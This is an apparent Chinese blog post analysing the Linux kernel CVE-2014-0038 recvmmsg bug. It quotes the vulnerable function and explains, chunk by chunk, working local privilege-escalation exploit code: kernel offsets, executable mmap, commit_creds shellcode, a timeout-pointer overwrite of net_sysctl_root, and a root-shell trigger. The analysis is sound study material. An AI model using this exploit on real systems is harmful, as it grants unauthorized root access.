CVE-2014-0038分析

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_33528164/article/details/82292012

CVE-2014-0038分析

引言

    这是决定不打比赛之后的第一个CVE分析, 感觉还行, 就是其中个别问题没有弄清楚, 基本流程清楚了, 最后我会提出我的问题, 有哪位大佬能回答的, 直接在下面留言就行了.

漏洞点

原因

    没有对用户空间的输入信息进行拷贝处理, 直接将用户空间输入的timeout指针传递给__sys_recvmmsg函数进行处理.

漏洞代码

int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout)
//timeout 未检查, timeout传进去的是需要清零的地址
{
    int fput_needed, err, datagrams;
    struct socket *sock;
    struct mmsghdr __user *entry;
    struct compat_mmsghdr __user *compat_entry;
    struct msghdr msg_sys;
    struct timespec end_time;

    if (timeout &&
        poll_select_set_timeout(&end_time, timeout->tv_sec,
                    timeout->tv_nsec))
        return -EINVAL;

    datagrams = 0;

    sock = sockfd_lookup_light(fd, &err, &fput_needed);
    if (!sock)
        return err;

    err = sock_error(sock->sk);
    if (err)
        goto out_put;

    entry = mmsg;
    compat_entry = (struct compat_mmsghdr __user *)mmsg;

    while (datagrams < vlen) {
        /*
         * No need to ask LSM for more than the first datagram.
         */
        if (MSG_CMSG_COMPAT & flags) {
            err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
                         &msg_sys, flags & ~MSG_WAITFORONE,
                         datagrams);
            if (err < 0)
                break;
            err = __put_user(err, &compat_entry->msg_len);
            ++compat_entry;
        } else {
            err = ___sys_recvmsg(sock,
                         (struct msghdr __user *)entry,
                         &msg_sys, flags & ~MSG_WAITFORONE,
                         datagrams);
            if (err < 0)
                break;
            err = put_user(err, &entry->msg_len);
            ++entry;
        }

        if (err)
            break;
        ++datagrams;

        /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
        if (flags & MSG_WAITFORONE)
            flags |= MSG_DONTWAIT;

        if (timeout) {
            ktime_get_ts(timeout);
            *timeout = timespec_sub(end_time, *timeout);
            if (timeout->tv_sec < 0) {
                //漏洞代码
                timeout->tv_sec = timeout->tv_nsec = 0;
                break;
            }

            /* Timeout, return less than vlen datagrams */
            if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
                break;
        }

        /* Out of band data, return right away */
        if (msg_sys.msg_flags & MSG_OOB)
            break;
    }

out_put:
    fput_light(sock->file, fput_needed);

    if (err == 0)
        return datagrams;

    if (datagrams != 0) {
        /*
         * We may return less entries than requested (vlen) if the
         * sock is non block and there aren't enough datagrams...
         */
        if (err != -EAGAIN) {
            /*
             * ... or  if recvmsg returns an error after we
             * received some datagrams, where we record the
             * error to return on the next call or if the
             * app asks about it using getsockopt(SO_ERROR).
             */
            sock->sk->sk_err = -err;
        }

        return datagrams;
    }

    return err;
}

整体思路

    提权的思路: 首先我们先将commit_creds(prepare_kernel_cred (0));代码复制到一段可以执行的用户空间代码. 利用内核的漏洞, 修改某一个内核指针为用户空间指针(这个指针指向的内容含有commit_creds(prepare_kernel_cred (0));). 执行这个内核指针, 我们获取一个root cred.最后执行system("/bin/sh"), 获取一个root shell.

代码分块解读

1. 结构体

struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

    说明: 修改的内容是net_ctl_permissions, 修改的指针net_sysctl_root + 96, 这个指针指向net_ctl_permissions.

2. 提权代码复制

mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1)); //1
mmapped &= 0x000000ffffffffff; //2
/*
 * 例: off->original_value = 0xffffffff816ffa20
 * 1. 将 0xffffffff816ffa20最后三个数字变成0, 0xffffffff816ff000
 * 2. 将 内核地址空间变成对应的用户空间, 0x000000ff816ff000, 这个地址待会需要copy提权代码,.
   3. 用户地址空间: 0x0000 7ffff ffff ffff~0x0000 0000 0000 0000(64 bit)
   4. 内核地址空间: 0xffff ffff ffff ffff~0xffff 8000 0000 0000.
   5. 32bit: 内核0xc0000000~0xffffffff, 用户:0xbfffffff~0x00000000
 */
srand(time(NULL));
port = (rand() % 30000)+1500; //保证开启不同的UDP端口

commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
/*
 * 赋值两个全局变量:commit_creds,prepare_kernel_cred
 */

mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
}

memset((char *)mmapped,0x90, sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); // copy提权代码

   总结: 基本上copy提权代码这一块, 大多数exp写的大同小异, 几乎形成了一个模板.
3.开启父进程的UDP服务


sa.sin_family = AF_INET; //IPV4
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);//127.0.0.1
sa.sin_port = htons(port);//随机端口

if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1)//设置监听 {
    perror("bind()");
    exit(-1);
}

memset(msgs, 0, sizeof(msgs));

iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0]; //用于存放接受的信息
msgs[0].msg_hdr.msg_iovlen = 1;
/*
 * struct iovec定义了一个向量元素。
 * 通常,这个结构用作一个多元素的数组。对于每一个传输的元素,指针成员iov_base指向一个缓冲区.
 * 这个缓冲区是存放的是readv所接收的数据或是writev将要发送的数据.
 * 成员iov_len在各种情况下分别确定了接收的最大长度以及实际写入的长度
 */

    总结: 开启父进程的UDP服务,设定接收的信息的结构体msgs.个人觉得这段没什么软用, 起辅助作用.
4.重头戏

for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); //漏洞系统调用
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }

   总结: 通过设置父进程开启UDP服务, 子进程故意睡眠0xff秒, 然后向父进程发送一个UDP报文,从而触发漏洞. 将net_sysctl_root+96处的后三个位清零, 清零后net_sysctl_root+96就成了用户地址, 而这个地址我们已经copy有提权代码.

扫描二维码关注公众号,回复: 6110315 查看本文章

三个字节覆盖过程截图:(从后往前覆盖的)
第三个字节(

第二个字节(

第四个字节(

    当时, 不明白为什么只有一个父进程和一个子进程存在, 现在明白了, 答案就在下面链接里.
一个问题
5.触发漏洞

void trigger() {
    open("/proc/sys/net/core/somaxconn", O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}

   结论: net_ctl_permissions是一个权限检查函数. 当open /proc/sys/net/core/somaxconn, 这个设备时, 需要先使用net_ctl_permissions进行权限检查, 其实这时的函数地址已经被修改为提权shellcode. 先获取一个root凭证, 然后执行system("/bin/sh"),就乐意获取一个root shell.

相关链接

看雪帖
详细分析
提权入门必看

问题

如何修改EXP, 使之动态的显示目标地址被覆盖的情况?

猜你喜欢

转载自blog.csdn.net/qq_33528164/article/details/82292012